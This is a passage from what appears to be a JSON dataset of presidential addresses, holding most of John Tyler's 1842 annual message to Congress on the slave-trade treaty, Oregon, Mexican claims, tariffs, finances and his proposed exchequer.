Government. And although Lord Aberdeen in his\ncorrespondence with the American envoys at London expressly disclaimed all\nright to detain an American ship on the high seas, even if found with a\ncargo of slaves on board, and restricted the British pretension to a mere\nclaim to visit and inquire, yet it could not well be discerned by the\nExecutive of the United States how such visit and inquiry could be made\nwithout detention on the voyage and consequent interruption to the trade.\nIt was regarded as the right of search presented only in a new form and\nexpressed in different words, and I therefore felt it to be my duty\ndistinctly to declare in my annual message to Congress that no such\nconcession could be made, and that the United States had both the will and\nthe ability to enforce their own laws and to protect their flag from being\nused for purposes wholly forbidden by those laws and obnoxious to the moral\ncensure of the world. Taking the message as his letter of instructions, our\nthen minister at Paris felt himself required to assume the same ground in a\nremonstrance which he felt it to be his duty to present to Mr. Guizot, and\nthrough him to the King of the French, against what has been called the\n\"quintuple treaty;\" and his conduct in this respect met with the approval\nof this Government. In close conformity with these views the eighth article\nof the treaty was framed; which provides \"that each nation shall keep\nafloat in the African seas a force not less than 80 guns, to act separately\nand apart, under instructions from their respective Governments, and for\nthe enforcement of their respective laws and obligations.\" From this it\nwill be seen that the ground assumed in the message has been fully\nmaintained at the same time that the stipulations of the treaty of Ghent\nare to be carried out in good faith by the two countries, and that all\npretense is removed for interference with our commerce for any purpose\nwhatever by a foreign government. While, therefore, the United States have\nbeen standing up for the freedom of the seas, they have not thought proper\nto make that a pretext for avoiding a fulfillment of their treaty\nstipulations or a ground for giving countenance to a trade reprobated by\nour laws. A similar arrangement by the other great powers could not fail to\nsweep from the ocean the slave trade without the interpolation of any new\nprinciple into the maritime code. We may be permitted to hope that the\nexample thus set will be followed by some if not all of them. We thereby\nalso afford suitable protection to the fair trader in those seas, thus\nfulfilling at the same time the dictates of a sound policy and complying\nwith the claims of justice and humanity.It would have furnished additional cause for congratulation if the treaty\ncould have embraced all subjects calculated in future to lead to a\nmisunderstanding between the two Governments. The Territory of the United\nStates commonly called the Oregon Territory, lying on the Pacific Ocean\nnorth of the forty-second degree of latitude, to a portion of which Great\nBritain lays claim, begins to attract the attention of our fellow-citizens,\nand the tide of population which has reclaimed what was so lately an\nunbroken wilderness in more contiguous regions is preparing to flow over\nthose vast districts which stretch from the Rocky Mountains to the Pacific\nOcean. In advance of the acquirement of individual rights to these lands,\nsound policy dictates that every effort should be resorted to by the two\nGovernments to settle their respective claims. It became manifest at an\nearly hour of the late negotiations that any attempt for the time being\nsatisfactorily to determine those rights would lead to a protracted\ndiscussion, which might embrace in its failure other more pressing matters,\nand the Executive did not regard it as proper to waive all the advantages\nof an honorable adjustment of other difficulties of great magnitude and\nimportance because this, not so immediately pressing, stood in the way.\nAlthough the difficulty referred to may not for several years to come\ninvolve the peace of the two countries, yet I shall not delay to urge on\nGreat Britain the importance of its early settlement. Nor will other\nmatters of commercial importance to the two countries be overlooked, and I\nhave good reason to believe that it will comport with the policy of\nEngland, as it does with that of the United States, to seize upon this\nmoment, when most of the causes of irritation have passed away, to cement\nthe peace and amity of the two countries by wisely removing all grounds of\nprobable future collision.With the other powers of Europe our relations continue on the most amicable\nfooting. Treaties now existing with them should be rigidly observed, and\nevery opportunity compatible with the interests of the United States should\nbe seized upon to enlarge the basis of commercial intercourse. Peace with\nall the world is the true foundation of our policy, which can only be\nrendered permanent by the practice of equal and impartial justice to all.\nOur great desire should be to enter only into that rivalry which looks to\nthe general good in the cultivation of the sciences, the enlargement of the\nfield for the exercise of the mechanical arts, and the spread of\ncommerce--that great civilizer--to every land and sea. Carefully abstaining\nfrom interference in all questions exclusively referring themselves to the\npolitical interests of Europe, we may be permitted to hope an equal\nexemption from the interference of European Governments in what relates to\nthe States of the American continent.On the 23d of April last the commissioners on the part of the United States\nunder the convention with the Mexican Republic of the 11th of April, 1839,\nmade to the proper Department a final report in relation to the proceedings\nof the commission. From this it appears that the total amount awarded to\nthe claimants by the commissioners and the umpire appointed under that\nconvention was $2,026,079.68. The arbiter having considered that his\nfunctions were required by the convention to terminate at the same time\nwith those of the commissioners, returned to the board, undecided for want\nof time, claims which had been allowed by the American commissioners to the\namount of $928,620.88. Other claims, in which the amount sought to be\nrecovered was $3,336,837.05, were submitted to the board too late for its\nconsideration. The minister of the United States at Mexico has been duly\nauthorized to make demand for payment of the awards according to the terms\nof the convention and the provisions of the act of Congress of the 12th of\nJune, 1840. He has also been instructed to communicate to that Government\nthe expectations of the Government of the United States in relation to\nthose claims which were not disposed of according to the provisions of the\nconvention, and all others of citizens of the United States against the\nMexican Government. He has also been furnished with other instructions, to\nbe followed by him in case the Government of Mexico should not find itself\nin a condition to make present payment of the amount of the awards in\nspecie or its equivalent.I am happy to be able to say that information which is esteemed favorable\nboth to a just satisfaction of the awards and a reasonable provision for\nother claims has been recently received from Mr. Thompson, the minister of\nthe United States, who has promptly and efficiently executed the\ninstructions of his Government in regard to this important subject.The citizens of the United States who accompanied the late Texan expedition\nto Santa Fe, and who were wrongfully taken and held as prisoners of war in\nMexico, have all been liberated.A correspondence has taken place between the Department of State and the\nMexican minister of foreign affairs upon the complaint of Mexico that\ncitizens of the United States were permitted to give aid to the inhabitants\nof Texas in the war existing between her and that Republic. Copies of this\ncorrespondence are herewith communicated to Congress, together with copies\nof letters on the same subject addressed to the diplomatic corps at Mexico\nby the American minister and the Mexican secretary of state.Mexico has thought proper to reciprocate the mission of the United States\nto that Government by accrediting to this a minister of the same rank as\nthat of the representative of the United States in Mexico. From the\ncircumstances connected with his mission favorable results are anticipated\nfrom it. It is so obviously for the interest of both countries as neighbors\nand friends that all just causes of mutual dissatisfaction should be\nremoved that it is to be hoped neither will omit or delay the employment of\nany practicable and honorable means to accomplish that end.The affairs pending between this Government and several others of the\nStates of this hemisphere formerly under the dominion of Spain have again\nwithin the past year been materially obstructed by the military revolutions\nand conflicts in those countries.The ratifications of the treaty between the United States and the Republic\nof Ecuador of the 13th of June, 1839, have been exchanged, and that\ninstrument has been duly promulgated on the part of this Government. Copies\nare now communicated to Congress with a view to enable that body to make\nsuch changes in the laws applicable to our intercourse with that Republic\nas may be deemed requisite.Provision has been made by the Government of Chile for the payment of the\nclaim on account of the illegal detention of the brig Warrior at Coquimbo\nin 1820. This Government has reason to expect that other claims of our\ncitizens against Chile will be hastened to a final and satisfactory close.The Empire of Brazil has not been altogether exempt from those convulsions\nwhich so constantly afflict the neighboring republics. Disturbances which\nrecently broke out are, however, now understood to be quieted. But these\noccurrences, by threatening the stability of the governments, or by causing\nincessant and violent changes in them or in the persons who administer\nthem, tend greatly to retard provisions for a just indemnity for losses and\ninjuries suffered by individual subjects or citizens of other states. The\nGovernment of the United States will feel it to be its duty, however, to\nconsent to no delay not unavoidable in making satisfaction for wrongs and\ninjuries sustained by its own citizens. Many years having in some cases\nelapsed, a decisive and effectual course of proceeding will be demanded of\nthe respective governments against whom claims have been preferred.The vexatious, harassing, and expensive war which so long prevailed with\nthe Indian tribes inhabiting the peninsula of Florida has happily been\nterminated, whereby our Army has been relieved from a service of the most\ndisagreeable character and the Treasury from a large expenditure. Some\ncasual outbreaks may occur, such as are incident to the close proximity of\nborder settlers and the Indians, but these, as in all other cases, may be\nleft to the care of the local authorities, aided when occasion may require\nby the forces of the United States. A sufficient number of troops will be\nmaintained in Florida so long as the remotest apprehensions of danger shall\nexist, yet their duties will be limited rather to the garrisoning of the\nnecessary posts than to the maintenance of active hostilities. It is to be\nhoped that a territory so long retarded in its growth will now speedily\nrecover from the evils incident to a protracted war, exhibiting in the\nincreased amount of its rich productions true evidences of returning wealth\nand prosperity. By the practice of rigid justice toward the numerous Indian\ntribes residing within our territorial limits and the exercise of a\nparental vigilance over their interests, protecting them against fraud and\nintrusion, and at the same time using every proper expedient to introduce\namong them the arts of civilized life, we may fondly hope not only to wean\nthem from their love of war, but to inspire them with a love for peace and\nall its avocations. With several of the tribes great progress in civilizing\nthem has already been made. The schoolmaster and the missionary are found\nside by side, and the remnants of what were once numerous and powerful\nnations may yet be preserved as the builders up of a new name for\nthemselves and their posterity.The balance in the Treasury on the 1st of January, 1842, exclusive of the\namount deposited with the States, trust funds, and indemnities, was\n$230,483.68. The receipts into the Treasury during the three first quarters\nof the present year from all sources amount to $26,616,593.78, of which\nmore than fourteen millions were received from customs and about one\nmillion from the public lands. The receipts for the fourth quarter are\nestimated at nearly eight millions, of which four millions are expected\nfrom customs and three millions and a half from loans and Treasury notes.\nThe expenditures of the first three quarters of the present year exceed\ntwenty-six millions, and those estimated for the fourth quarter amount to\nabout eight millions; and it is anticipated there will be a deficiency of\nhalf a million on the 1st of January next, but that the amount of\noutstanding warrants (estimated at $800,000) will leave an actual balance\nof about $224,000 in the Treasury. Among the expenditures of this year are\nmore than eight millions for the public debt and about $600,000 on account\nof the distribution to the States of the proceeds of sales of the public\nlands.The present tariff of duties was somewhat hastily and hurriedly passed near\nthe close of the late session of Congress. That it should have defects can\ntherefore be surprising to no one. To remedy such defects as may be found\nto exist in any of its numerous provisions will not fail to claim your\nserious attention. It may well merit inquiry whether the exaction of all\nduties in cash does not call for the introduction of a system which has\nproved highly beneficial in countries where it has been adopted. I refer to\nthe warehousing system. The first and most prominent effect which it would\nproduce would be to protect the market alike against redundant or deficient\nsupplies of foreign fabrics, both of which in the long run are injurious as\nwell to the manufacturer as the importer. The quantity of goods in store\nbeing at all times readily known, it would enable the importer with an\napproach to accuracy to ascertain the actual wants of the market and to\nregulate himself accordingly. If, however, he should fall into error by\nimporting an excess above the public wants, he could readily correct its\nevils by availing himself of the benefits and advantages of the system thus\nestablished. In the storehouse the goods imported would await the demand of\nthe market and their issues would be governed by the fixed principles of\ndemand and supply. Thus an approximation would be made to a steadiness and\nuniformity of price, which if attainable would conduce to the decided\nadvantage of mercantile and mechanical operations.The apprehension may be well entertained that without something to\nameliorate the rigor of cash payments the entire import trade may fall into\nthe hands of a few wealthy capitalists in this country and in Europe. The\nsmall importer, who requires all the money he can raise for investments\nabroad, and who can but ill afford to pay the lowest duty, would have to\nsubduct in advance a portion of his funds in order to pay the duties, and\nwould lose the interest upon the amount thus paid for all the time the\ngoods might remain unsold, which might absorb his profits. The rich\ncapitalist, abroad as well as at home, would thus possess after a short\ntime an almost exclusive monopoly of the import trade, and laws designed\nfor the benefit of all would thus operate for the benefit of a few--a\nresult wholly uncongenial with the spirit of our institutions and\nantirepublican in all its tendencies. The warehousing system would enable\nthe importer to watch the market and to select his own time for offering\nhis goods for sale. A profitable portion of the carrying trade in articles\nentered for the benefit of drawback must also be most seriously affected\nwithout the adoption of some expedient to relieve the cash system. The\nwarehousing system would afford that relief, since the carrier would have a\nsafe recourse to the public storehouses and might without advancing the\nduty reship within some reasonable period to foreign ports. A further\neffect of the measure would be to supersede the system of drawbacks,\nthereby effectually protecting the Government against fraud, as the right\nof debenture would not attach to goods after their withdrawal from the\npublic stores.In revising the existing tariff of duties, should you deem it proper to do\nso at your present session, I can only repeat the suggestions and\nrecommendations which upon several occasions I have heretofore felt it to\nbe my duty to offer to Congress. The great primary and controlling interest\nof the American people is union--union not only in the mere forms of\ngovernment, forms which may be broken, but union rounded in an attachment\nof States and individuals for each other. This union in sentiment and\nfeeling can only be preserved by the adoption of that course of policy\nwhich, neither giving exclusive benefits to some nor imposing unnecessary\nburthens upon others, shall consult the interests of all by pursuing a\ncourse of moderation and thereby seeking to harmonize public opinion, and\ncausing the people everywhere to feel and to know that the Government is\ncareful of the interests of all alike. Nor is there any subject in regard\nto which moderation, connected with a wise discrimination, is more\nnecessary than in the imposition of duties on imports. Whether reference be\nhad to revenue, the primary object in the imposition of taxes, or to the\nincidents which necessarily flow from their imposition, this is entirely\ntrue. Extravagant duties defeat their end and object, not only by exciting\nin the public mind an hostility to the manufacturing interests, but by\ninducing a system of smuggling on an extensive scale and the practice of\nevery manner of fraud upon the revenue, which the utmost vigilance of\nGovernment can not effectually suppress. An opposite course of policy would\nbe attended by results essentially different, of which every interest of\nsociety, and none more than those of the manufacturer, would reap important\nadvantages. Among the most striking of its benefits would be that derived\nfrom the general acquiescence of the country in its support and the\nconsequent permanency and stability which would be given to all the\noperations of industry. It can not be too often repeated that no system of\nlegislation can be wise which is fluctuating and uncertain. No interest can\nthrive under it. The prudent capitalist will never adventure his capital in\nmanufacturing establishments, or in any other leading pursuit of life, if\nthere exists a state of uncertainty as to whether the Government will\nrepeal to-morrow what it has enacted to-day. Fitful profits, however high,\nif threatened with a ruinous reduction by a vacillating policy on the part\nof Government, will scarcely tempt him to trust the money which he has\nacquired by a life of labor upon the uncertain adventure. I therefore, in\nthe spirit of conciliation, and influenced by no other desire than to\nrescue the great interests of the country from the vortex of political\ncontention, and in the discharge of the high and solemn duties of the place\nwhich I now occupy, recommend moderate duties, imposed with a wise\ndiscrimination as to their several objects, as being not only most likely\nto be durable, but most advantageous to every interest of society.The report of the Secretary of the War Department exhibits a very full and\nsatisfactory account of the various and important interests committed to\nthe charge of that officer. It is particularly gratifying to find that the\nexpenditures for the military service are greatly reduced in amount--that a\nstrict system of economy has been introduced into the service and the\nabuses of past years greatly reformed. The fortifications on our maritime\nfrontier have been prosecuted with much vigor, and at many points our\ndefenses are in a very considerable state of forwardness. The suggestions\nin reference to the establishment of means of communication with our\nterritories on the Pacific and to the surveys so essential to a knowledge\nof the resources of the intermediate country are entitled to the most\nfavorable consideration. While I would propose nothing inconsistent with\nfriendly negotiations to settle the extent of our claims in that region,\nyet a prudent forecast points out the necessity of such measures as may\nenable us to maintain our rights. The arrangements made for preserving our\nneutral relations on the boundary between us and Texas and keeping in check\nthe Indians in that quarter will be maintained so long as circumstances may\nrequire. For several years angry contentions have grown out of the\ndisposition directed by law to be made of the mineral lands held by the\nGovernment in several of the States. The Government is constituted the\nlandlord, and the Citizens of the States wherein lie the lands are its\ntenants. The relation is an unwise one, and it would be much more conducive\nof the public interest that a sale of the lands should be made than that\nthey should remain in their present condition. The supply of the ore would\nbe more abundantly and certainly furnished when to be drawn from the\nenterprise and the industry of the proprietor than under the present\nsystem.The recommendations of the Secretary in regard to the improvements of the\nWestern waters and certain prominent harbors on the Lakes merit, and I\ndoubt not will receive, your serious attention. The great importance of\nthese subjects to the prosperity of the extensive region referred to and\nthe security of the whole country in time of war can not escape\nobservation. The losses of life and property which annually occur in the\nnavigation of the Mississippi alone because of the dangerous obstructions\nin the river make a loud demand upon Congress for the adoption of efficient\nmeasures for their removal.The report of the Secretary of the Navy will bring you acquainted with that\nimportant branch of the public defenses. Considering the already vast and\ndaily increasing commerce of the country, apart from the exposure to\nhostile inroad of an extended seaboard, all that relates to the Navy is\ncalculated to excite particular attention. Whatever tends to add to its\nefficiency without entailing unnecessary charges upon the Treasury is well\nworthy of your serious consideration. It will be seen that while an\nappropriation exceeding by more than a million the appropriations of the\ncurrent year is asked by the Secretary, yet that in this sum is proposed to\nbe included $400,000 for the purchase of clothing, which when once expended\nwill be annually reimbursed by the sale of the clothes, and will thus\nconstitute a perpetual fund without any new appropriation to the same\nobject. To this may also be added $50,000 asked to cover the arrearages of\npast years and $250,000 in order to maintain a competent squadron on the\ncoast of Africa; all of which when deducted will reduce the expenditures\nnearly within the limits of those of the current year. While, however, the\nexpenditures will thus remain very nearly the same as of the antecedent\nyear, it is proposed to add greatly to the operations of the marine, and in\nlieu of only 25 ships in commission and but little in the way of building,\nto keep with the same expenditure 41 vessels afloat and to build 12 ships\nof a small class.A strict system of accountability is established and great pains are taken\nto insure industry, fidelity, and economy in every department of duty.\nExperiments have been instituted to test the quality of various materials,\nparticularly copper, iron, and coal, so as to prevent fraud and\nimposition.It will appear by the report of the Postmaster-General that the great point\nwhich for several years has been so much desired has during the current\nyear been fully accomplished. The expenditures of the Department for\ncurrent service have been brought within its income without lessening its\ngeneral usefulness. There has been an increase of revenue equal to $166,000\nfor the year 1842 over that of 1841, without, as it is believed, any\naddition having been made to the number of letters and newspapers\ntransmitted through the mails. The post-office laws have been honestly\nadministered, and fidelity has been observed in accounting for and paying\nover by the subordinates of the Department the moneys which have been\nreceived. For the details of the service I refer you to the report.I flatter myself that the exhibition thus made of the condition of the\npublic administration will serve to convince you that every proper\nattention has been paid to the interests of the country by those who have\nbeen called to the heads of the different Departments. The reduction in the\nannual expenditures of the Government already accomplished furnishes a sure\nevidence that economy in the application of the public moneys is regarded\nas a paramount duty.At peace with all the world, the personal liberty of the citizen sacredly\nmaintained and his rights secured under political institutions deriving all\ntheir authority from the direct sanction of the people, with a soil fertile\nalmost beyond example and a country blessed with every diversity of climate\nand production, what remains to be done in order to advance the happiness\nand prosperity of such a people? Under ordinary circumstances this inquiry\ncould readily be answered. The best that probably could be done for a\npeople inhabiting such a country would be to fortify their peace and\nsecurity in the prosecution of their various pursuits by guarding them\nagainst invasion from without and violence from within. The rest for the\ngreater part might be left to their own energy and enterprise. The chief\nembarrassments which at the moment exhibit themselves have arisen from\noveraction, and the most difficult task which remains to be accomplished is\nthat of correcting and overcoming its effects. Between the years 1833 and\n1838 additions were made to bank capital and bank issues, in the form of\nnotes designed for circulation, to an extent enormously great. The question\nseemed to be not how the best currency could be provided, but in what\nmanner the greatest amount of bank paper could be put in circulation. Thus\na vast amount of what was called money--since for the time being it\nanswered the purposes of money--was thrown upon the country, an overissue\nwhich was attended, as a necessary consequence, by an extravagant increase\nof the prices of all articles of property, the spread of a speculative\nmania all over the country, and has finally ended in a general indebtedness\non the part of States and individuals, the prostration of public and\nprivate credit, a depreciation in the market value of real and personal\nestate, and has left large districts of country almost entirely without any\ncirculating medium. In view of the fact that in 1830 the whole bank-note\ncirculation within the United States amounted to but $61,323,898, according\nto the Treasury statements, and that an addition had been made thereto of\nthe enormous sum of $88,000,000 in seven years (the circulation on the 1st\nof January, 1837, being stated at $149,185,890), aided by the great\nfacilities afforded in obtaining loans from European capitalists, who were\nseized with the same speculative mania which prevailed in the United\nStates, and the large importations of funds from abroad--the result of\nstock sales and loans--no one can be surprised at the apparent but\nunsubstantial state of prosperity which everywhere prevailed over the land;\nand as little cause of surprise should be felt at the present prostration\nof everything and the ruin which has befallen so many of our\nfellow-citizens in the sudden withdrawal from circulation of so large an\namount of bank issues since 1837--exceeding, as is believed, the amount\nadded to the paper currency for a similar period antecedent to 1837--it\nceases to be a matter of astonishment that such extensive shipwreck should\nhave been made of private fortunes or that difficulties should exist in\nmeeting their engagements on the part of the debtor States; apart from\nwhich, if there be taken into account the immense losses sustained in the\ndishonor of numerous banks, it is less a matter of surprise that insolvency\nshould have visited many of our fellow-citizens than that so many should\nhave escaped the blighting influences of the times.In the solemn conviction of these truths and with an ardent desire to meet\nthe pressing necessities of the country, I felt it to be my duty to cause\nto be submitted to you at the commencement of your last session the plan of\nan exchequer, the whole power and duty of maintaining which in purity and\nvigor was to be exercised by the representatives of the people and the\nStates, and therefore virtually by the people themselves. It was proposed\nto place it under the control and direction of a Treasury board to consist\nof three commissioners, whose duty it should be to see that the law of its\ncreation was faithfully executed and that the great end of supplying a\npaper medium of exchange at all times convertible into gold and silver\nshould be attained. The board thus constituted was given as much permanency\nas could be imparted to it without endangering the proper share of\nresponsibility which should attach to all public agents. In order to insure\nall the advantages of a well-matured experience, the commissioners were to\nhold their offices for the respective periods of two, four, and six years,\nthereby securing at all times in the management of the exchequer the\nservices of two men of experience; and to place them in a condition to\nexercise perfect independence of mind and action it was provided that their\nremoval should only take place for actual incapacity or infidelity to the\ntrust, and to be followed by the President with an exposition of the causes\nof such removal, should it occur. It was proposed to establish subordinate\nboards in each of the States, under the same restrictions and limitations\nof the power of removal, which, with the central board, should receive,\nsafely keep, and disburse the public moneys. And in order to furnish a\nsound paper medium of exchange the exchequer should retain of the revenues\nof the Government a sum not to exceed $5,000,000 in specie, to be set apart\nas required by its operations, and to pay the public creditor at his own\noption either in specie or Treasury notes of denominations not less than $5\nnor exceeding $100, which notes should be redeemed at the several places of\nissue, and to be receivable at all times and everywhere in payment of\nGovernment dues, with a restraint upon such issue of bills that the same\nshould not exceed the maximum of $15,000,000. In order to guard against all\nthe hazards incident to fluctuations in trade, the Secretary of the\nTreasury was invested with authority to issue $5,000,000 of Government\nstock, should the same at any time be regarded as necessary in order to\nplace beyond hazard the prompt redemption of the bills which might be\nthrown into circulation; thus in fact making the issue of $15,000,000 of\nexchequer bills rest substantially on $10,000,000, and keeping in\ncirculation never more than one and one-half dollars for every dollar in\nspecie. When to this it is added that the bills are not only everywhere\nreceivable in Government dues, but that the Government itself would be\nbound for their ultimate redemption, no rational doubt can exist that the\npaper which the exchequer would furnish would readily enter into general\ncirculation and be maintained at all times at or above par with gold and\nsilver, thereby realizing the great want of the age and fulfilling the\nwishes of the people. In order to reimburse the Government the expenses of\nthe plan, it was proposed to invest the exchequer with the limited\nauthority to deal in bills of exchange (unless prohibited by the State in\nwhich an agency might be situated) having only thirty days to run and\nresting on a fair and bona fide basis. The legislative will on this point\nmight be so plainly announced as to avoid all pretext for partiality or\nfavoritism. It was furthermore proposed to invest this Treasury agent with\nauthority to receive on deposit to a limited amount the specie funds of\nindividuals and to grant certificates therefor to be redeemed on\npresentation, under the idea, which is believed to be well founded, that\nsuch certificates would come in aid of the exchequer bills in supplying a\nsafe and ample paper circulation. Or if in place of the contemplated\ndealings in exchange the exchequer should be authorized not only to\nexchange its bills for actual deposits of specie, but, for specie or its\nequivalent, to sell drafts, charging therefor a small but reasonable\npremium, I can not doubt but that the benefits of the law would be speedily\nmanifested in the revival of the credit, trade, and business of the whole\ncountry. Entertaining this opinion, it becomes my duty to urge its adoption\nupon Congress by reference to the strongest considerations of the public\ninterests, with such alterations in its details as Congress may in its\nwisdom see fit to make.I am well aware that this proposed alteration and amendment of the laws\nestablishing the Treasury Department has encountered various objections,\nand that among others it has been proclaimed a Government bank of fearful\nand dangerous import. It is proposed to confer upon it no extraordinary\npower. It purports to do no more than pay the debts of the Government with\nthe redeemable paper of the Government, in which respect it accomplishes\nprecisely what the Treasury does daily at this time in issuing to the\npublic creditors the Treasury notes which under law it is authorized to\nissue. It has no resemblance to an ordinary bank, as it furnishes no\nprofits to private stockholders and lends no capital to individuals. If it\nbe objected to as a Government bank and the objection be available, then\nshould all the laws in relation to the Treasury be repealed and the\ncapacity of the Government to collect what is due to it or pay what it owes\nbe abrogated.This is the chief purpose of the proposed exchequer, and surely if in the\naccomplishment of a purpose so essential it affords a sound circulating\nmedium to the country and facilities to trade it should be regarded as no\nslight recommendation of it to public consideration. Properly guarded by\nthe provisions of law, it can run into no dangerous evil, nor can any abuse\narise under it but such as the Legislature itself will be answerable for if\nit be tolerated, since it is but the creature of the law and is susceptible\nat all times of modification, amendment, or repeal at the pleasure of\nCongress. I know that it has been objected that the system would be liable\nto be abused by the Legislature, by whom alone it could be abused, in the\nparty conflicts of the day; that such abuse would manifest itself in a\nchange of the law which would authorize an excessive issue of paper for the\npurpose of inflating prices and winning popular favor. To that it may be\nanswered that the ascription of such a motive to Congress is altogether\ngratuitous and inadmissible. The theory of our institutions would lead us\nto a different conclusion. But a perfect security against a proceeding so\nreckless would be found to exist in the very nature of things. The\npolitical party which should be so blind to the true interests of the\ncountry as to resort to such an expedient would inevitably meet with final\noverthrow in the fact that the moment the paper ceased to be convertible\ninto specie or otherwise promptly redeemed it would become worthless, and\nwould in the end dishonor the Government, involve the people in ruin and\nsuch political party in hopeless disgrace. At the same time, such a view\ninvolves the utter impossibility of furnishing any currency other than that\nof the precious metals; for if the Government itself can not forego the\ntemptation of excessive paper issues what reliance can be placed in\ncorporations upon whom the temptations of individual aggrandizement would\nmost strongly operate? The people would have to blame none but themselves\nfor any injury that might arise from a course so reckless, since their\nagents would be the wrongdoers and they the passive spectators.There can be but three kinds of public currency--first, gold and silver;\nsecond, the paper of State institutions; or, third, a representative of the\nprecious metals provided by the General Government or under its authority.\nThe subtreasury system rejected the last in any form, and as it was\nbelieved that no reliance could be placed on the issues of local\ninstitutions for the purposes of general circulation it necessarily and\nunavoidably adopted specie as the exclusive currency for its own use; and\nthis must ever be the case unless one of the other kinds be used. The\nchoice in the present state of public sentiment lies between an exclusive\nspecie currency on the one hand and Government issues of some kind on the\nother. That these issues can not be made by a chartered institution is\nsupposed to be conclusively settled. They must be made, then, directly by\nGovernment agents. For several years past they have been thus made in the\nform of Treasury notes, and have answered a valuable purpose. Their\nusefulness has been limited by their being transient and temporary; their\nceasing to bear interest at given periods necessarily causes their speedy\nreturn and thus restricts their range of circulation, and being used only\nin the disbursements of Government they can not reach those points where\nthey are most required. By rendering their use permanent, to the moderate\nextent already mentioned, by offering no inducement for their return and by\nexchanging them for coin and other values, they will constitute to a\ncertain extent the general currency so much needed to maintain the internal\ntrade of the country. And this is the exchequer plan so far as it may\noperate in furnishing a currency.I can not forego the occasion to urge its importance to the credit of the\nGovernment in a financial point of view. The great necessity of resorting\nto every proper and becoming expedient in order to place the Treasury on a\nfooting of the highest respectability is entirely obvious. The credit of\nthe Government may be regarded as the very soul of the Government itself--a\nprinciple of vitality without which all its movements are languid and all\nits operations embarrassed. In this spirit the Executive felt itself bound\nby the most imperative sense of duty to submit to Congress at its last\nsession the propriety of making a specific pledge of the land fund as the\nbasis for the negotiation of the loans authorized to be contracted. I then\nthought that such an application of the public domain would without doubt\nhave placed at the command of the Government ample funds to relieve the\nTreasury from the temporary embarrassments under which it labored. American\ncredit has suffered a considerable shock in Europe from the large\nindebtedness of the States and the temporary inability of some of them to\nmeet the interest on their debts. The utter and disastrous prostration of\nthe United States Bank of Pennsylvania had contributed largely to increase\nthe sentiment of distrust by reason of the loss and ruin sustained by the\nholders of its stock, a large portion of whom were foreigners and many of\nwhom were alike ignorant of our political organization and of our actual\nresponsibilities.It was the anxious desire of the Executive that in the effort to negotiate\nthe loan abroad the American negotiator might be able to point the money\nlender to the fund mortgaged for the redemption of the principal and\ninterest of any loan he might contract, and thereby vindicate the\nGovernment from all suspicion of bad faith or inability to meet its\nengagements. Congress differed from the Executive in this view of the\nsubject. It became, nevertheless, the duty of the Executive to resort to\nevery expedient in its power to do so.After a failure in the American market a citizen of high character and\ntalent was sent to Europe, with no better success; and thus the mortifying\nspectacle has been presented of the inability of this Government to obtain\na loan so small as not in the whole to amount to more than one-fourth of\nits ordinary annual income, at a time when the Governments of Europe,\nalthough involved in debt and with their subjects heavily burthened with\ntaxation, readily obtained loans of any amount at a greatly reduced rate of\ninterest. It would be unprofitable to look further into this anomalous\nstate of things, but I can not conclude without adding that for a\nGovernment which has paid off its debts of two wars with the largest\nmaritime power of Europe, and now owing a debt which is almost next to\nnothing when compared with its boundless resources--a Government the\nstrongest in the world, because emanating from the popular will and firmly\nrooted in the affections of a great and free people, and whose fidelity to\nits engagements has never been questioned--for such a Government to have\ntendered to the capitalists of other countries an opportunity for a small\ninvestment in its stock, and yet to have failed, implies either the most\nunfounded distrust in its good faith or a purpose to obtain which the\ncourse pursued is the most fatal which could have been adopted. It has now\nbecome obvious to all men that the Government must look to its own means\nfor supplying its wants, and it is consoling to know that these means are\naltogether adequate for the object. The exchequer, if adopted, will greatly\naid in bringing about this result. Upon what I regard as a well-rounded\nsupposition that its bills would be readily sought for by the public\ncreditors and that the issue would in a short time reach the maximum of\n$15,000,000, it is obvious that $10,000,000 would thereby be added to the\navailable means of the Treasury without cost or charge. Nor can I fail to\nurge the great and beneficial effects which would be produced in aid of all\nthe active pursuits of life. Its effects upon the solvent State banks,\nwhile it would force into liquidation those of an opposite character\nthrough its weekly settlements, would be highly beneficial; and with the\nadvantages of a sound currency the restoration of confidence and credit\nwould follow with a numerous train of blessings. My convictions are most\nstrong that these benefits would flow from the adoption of this measure;\nbut if the result should be adverse there is this security in connection\nwith it--that the law creating it may be repealed at the pleasure of the\nLegislature without the slightest implication of its good faith.I recommend to Congress to take into consideration the propriety of\nreimbursing a fine imposed on General Jackson at New Orleans at the time of\nthe attack and defense of that city, and paid by him. Without designing any\nreflection on the judicial tribunal which imposed the fine, the remission\nat this day may be regarded as not unjust or inexpedient. The voice of the\ncivil authority was heard amidst the glitter of arms and obeyed by those\nwho held the sword, thereby giving additional luster to a memorable\nmilitary achievement. If the laws were offended, their majesty was fully\nvindicated; and although the penalty incurred and paid is worthy of little\nregard in a pecuniary point of view, it can hardly be doubted that it would\nbe gratifying to the war-worn veteran, now in retirement and in the winter\nof his days, to be relieved from the circumstances in which that judgment\nplaced him. There are cases in which public functionaries may be called on\nto weigh the public interest against their own personal hazards, and if the\ncivil law be violated from praiseworthy motives or an overruling sense of\npublic danger and public necessity punishment may well be restrained within\nthat limit which asserts and maintains the authority of the law and the\nsubjection of the military to the civil power. The defense of New Orleans,\nwhile it saved a city from the hands of the enemy, placed the name of\nGeneral Jackson among those of the greatest captains of the age and\nillustrated one of the brightest pages of our history. Now that the causes\nof excitement existing at the time have ceased to operate, it is believed\nthat the remission of this fine and whatever of gratification that\nremission might cause the eminent man who incurred and paid it would be in\naccordance with the general feeling and wishes of the American people.I have thus, fellow-citizens, acquitted myself of my duty under the\nConstitution by laying before you as succinctly as I have been able the\nstate of the Union and by inviting your attention to measures of much\nimportance to the country. The executive will most zealously unite its\nefforts with those of the legislative department in the accomplishment of\nall that is required to relieve the wants of a common constituency or\nelevate the destinies of a beloved country.", 
+    "name": "John Tyler"
+}
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+{
+    "date": "December 6, 1843", 
